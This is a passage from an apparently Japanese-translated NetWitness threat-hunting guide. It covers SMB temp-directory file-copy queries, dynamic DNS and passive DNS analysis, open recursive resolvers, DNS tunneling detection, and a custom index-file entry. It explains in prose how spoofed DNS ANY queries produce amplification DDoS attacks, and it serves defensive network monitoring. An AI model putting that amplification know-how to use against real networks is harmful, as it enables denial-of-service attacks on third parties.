service = 445 && action = ‘create’,’write’,’read’ && directory contains ‘temp’ tempディレクトリに対するファイルコピー

DNS

これまでに前述したセクションでは、NetWitnessデータセットへの最初のドリルダウンの多くがDNSを除外しています。 これは、HTTPを調べるときに、多くの分析がドメイン名自体とそのTLDで行われるためです。 ここからはDNSに専念して、このプロトコルのいくつかの側面を分析していきます。

動的DNSは、無料および有料のレベルで提供されます。 その元の目的は、GoDaddyやNameCheapなどの企業に登録することなくDNSサービスを提供することでした。 テクノロジーの多くの人々は、自宅のネットワーク上でIPアドレスが変更された場合、そのサービスを使用してホームネットワークに戻る方法を提供していました。 ダイナミックDNSの側面の1つは、ほとんどのプロバイダが匿名性を提供していることです。 つまり、人を確実に識別できる情報は必要ありません。 さらに、これらのサービスのほとんどのTTLは5分または300秒です。 つまり、新しいAレコードがわずか5分で目的のアプリケーションに到達する可能性があります。 これは攻撃者にとって有利であり、フォレンジックアナリストにとっては不利な状況です。

Live上で利用可能な dyndns.lua パーサーは、ダイナミックDNSプロバイダードメインの集合です。 これを利用するためには http.lua パーサーと dns_verbose.lua パーサーが必要です。 100,000以上の既知のダイナミックDNSドメインのいずれかが alias.host へのコールバックで照合されます。 ダイナミックDNSの解決されたホストを検索して、組織の名前またはその名前の順列( ‘3mc.dyndns.org’など)を探します。 不審なドメインが検出された場合、DNSクエリによって解決されたIPアドレスが alias.ip のメタデータカテゴリに表示されます。 alias.hostへのエントリを生成しないプロトコルの場合は、このIPアドレスをip.srcやip.dstに指定することで分析が可能になります。

alias.ipメタデータカテゴリは、組織のパッシブDNSシステムとしても使用できます。 コンセントレータのメタデータ保持率は、適用されるコンテンツの量とデータレートによって異なりますが、APIクエリを使用してこのデータを抽出し、取得および長期保存のために別のアプリケーションに保存することができます。

あなたの組織が権威DNSをインターネットに公開している場合は、そのDNSサーバの再帰ポリシーについて問い合わせることをお勧めします。 まず、インターネットトラフィックからインバウンド用に作成したメタデータを選択し、service = 53, DNSを選択します。

alias.hostの中に、あなたの組織に属していないドメインが表示された場合は、再帰的なDNSサーバをホストしている可能性があります。 これは、インターネット上のDDoS活動の大部分が現在開かれている再帰的DNSサーバに関連しているため、重要です。 攻撃者がIPスプーフィングの対策がされていないネットワークを利用できるとしたら、攻撃対象のIPアドレスをソースにして、再帰的なDNSサーバに対するDNSクエリを発行することができます。 このDNSクエリにはANYを指定して、IN、MX、NSなどのすべてのタイプのレコードを要求します。 問題は、ripe.netなどの一部の組織のドメイン名が、79バイトのDNSクエリに対して3000バイトを超えて応答することです。 これは30倍以上の増幅で、攻撃者の10Mb/secのトラフィックを約350Mb/secのDoSに変えました。 多くのオープンな再帰的なDNSサーバーに広がっていると、組織の問題が発生する可能性があります。 あなたの組織が気づかないうちに、このようなサイバー犯罪者のDDoSに加担している可能性があります。 以下は、リクエストとレスポンスのサイズを示すripe.netのANYクエリの例です。

Figure 29. DNS ANY Query Illustrationg Amplification Attacks

この種類の攻撃を検索するクエリは以下の通りです。

Figure 30. Netwitness Metadata Indicating Many Responses

TCP/53とUDP/53においてservice != 53を調べることで、DNSトンネリングやDNSポートを利用したその他のプロトコルを検出することができます。 このドリルダウンで見つかったセッションサイズと送受信データ比率を調べることで、DNSポートとプロトコルを介して悪意あるC&C通信やデータの送受信を発見することができます。

まとめ

アナリストは、特定の技術的側面および動作に関するコンテンツを開発して分析手法を増やすことで、テラバイト単位のデータ内で悪意のある活動をすばやく見つけることができます。 アナリストは、データセットを積極的に捜索することにより、マルウェア固有のシグネチャを必要とせずに新しい悪意のある活動を発見することができます。 実際にNetWitnessは、IDSが検出できない悪意ある行為(認証・認可されたチャネルを使用したマルウェア通信など)を追跡することができました。 また、悪意のあるアクティビティを見つけることが唯一のユースケースではありません。

トラフィックのフォレンジックリポジトリを持つことは、先進的な敵が発見されたときに非常に有用です。 アタッカーの滞留時間は数年ではないにしても数ヶ月で測定され、手持ちのトラフィックのエクスポートが容易にできることは、事件中の膨大な時間を節約し多くの新たな発見を導くこともあります。 データセットを分析する際に計画を立て、盲点を自己認識し、それをカバーする方法を開発することで、この滞留時間を短縮し、改善努力をスピードアップすることができます。

さらに、NetWitnessのようなツールは、トラフィックの詳細な可視性を提供することによって、どの組織でもセキュリティの状態を評価するのに役立ちます。 セキュリティポリシーが適切なものであることを確認しても、攻撃や違反を防ぐことはできませんが、違法に見える「セッション」が見つけやすくなるため、侵害されにくくなります。

備考:Static Meta Values

次の表は、ハンティングパックのコンテンツが作成する可能性のあるメタ値の参照リスト(コマンド/値リストに類似)を示しています。

備考:Hunting Content Pack Meta Keys

これらは、バージョン10.6.2以降のIRコンテンツパックメタキーを構成するindex-concentrator.xmlファイルのエントリです。 この前にバージョンを実行している場合は、index-concentrator-custom.xmlに次のエントリを手動で追加します。

注意:さらに、netdメタキーがlogdecoder上で正常に動作するためには、RSA LinkのTraffic Flow Lua Parserのトピックに記載されている手順を実行する必要があります。

under construction

カスタムインデックスファイルにエントリを追加するには

  1. あなたのバージョンに応じて:
    • Security Analytics 10.xの場合:Security Analyticsメニューで、Administration> Servicesを選択します。
    • NetWitness 11.xの場合:NetWitness UIで、ADMIN> Servicesに移動します。
  2. コンセントレータを選択し、View> Configを選択します。
  3. [ファイル]タブを開きます。
  4. index-concentrator-custom.xmlを選択し、次の行を追加します。 ```

<key description=Service Analysis” level=”IndexValues” name=”analysis.service” format=”Text” valueMax=”10000”/>

```

  1. NetWitnessからログアウトし、再度ログインします。調査で追加したカスタムキーを表示するには、これを行う必要があります。

Content